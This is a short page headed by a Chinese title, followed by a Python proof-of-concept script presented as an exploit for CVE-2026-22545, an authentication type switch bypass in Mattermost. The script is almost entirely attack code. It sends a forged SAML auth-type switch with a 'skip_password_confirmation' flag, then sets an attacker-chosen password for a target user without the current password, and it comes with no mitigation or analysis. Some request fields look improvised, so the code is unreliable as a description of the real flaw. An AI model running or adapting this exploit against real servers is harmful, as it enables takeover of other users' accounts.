CVE-2026-22545 Mattermost认证类型切换验证缺失导致账户密码篡改

# CVE-2026-22545 PoC - Mattermost Auth Type Switch Bypass # Requires authenticated session cookie import requests import json TARGET_URL = "https://mattermost.example.com" TARGET_USER_ID = "target_user_id_here" ATTACKER_SESSION_TOKEN = "attacker_session_token_here" def exploit_auth_switch(): """ Exploit authentication type switch validation bypass Allows attacker to change target user password without confirmation """ headers = { "Authorization": f"Bearer {ATTACKER_SESSION_TOKEN}", "Content-Type": "application/json", "X-CSRF-Token": "", "Cookie": f"MMSID=attacker_session" } # Step 1: Identify target user account settings get_user_url = f"{TARGET_URL}/api/v4/users/{TARGET_USER_ID}" response = requests.get(get_user_url, headers=headers) # Step 2: Craft malicious auth type switch request # Falsely claim different auth provider without actual authentication exploit_payload = { "user_id": TARGET_USER_ID, "new_auth_type": "saml", # Claim SAML provider "fake_provider_data": { "email": "[email protected]", "assertion_consumer_service_url": "/" }, "skip_password_confirmation": True # Bypass confirmation } switch_url = f"{TARGET_URL}/api/v4/users/{TARGET_USER_ID}/auth" exploit_response = requests.put(switch_url, json=exploit_payload, headers=headers) # Step 3: Set new password without original password password_change_payload = { "new_password": "AttackerControlled123!", "current_password": "", # Empty - bypassed "auth_type": "saml" } set_pwd_url = f"{TARGET_URL}/api/v4/users/{TARGET_USER_ID}/password" pwd_response = requests.put(set_pwd_url, json=password_change_payload, headers=headers) if pwd_response.status_code == 200: print("[+] Password changed successfully - Account Compromised") else: print(f"[-] Exploit failed: {pwd_response.text}") if __name__ == "__main__": exploit_auth_switch()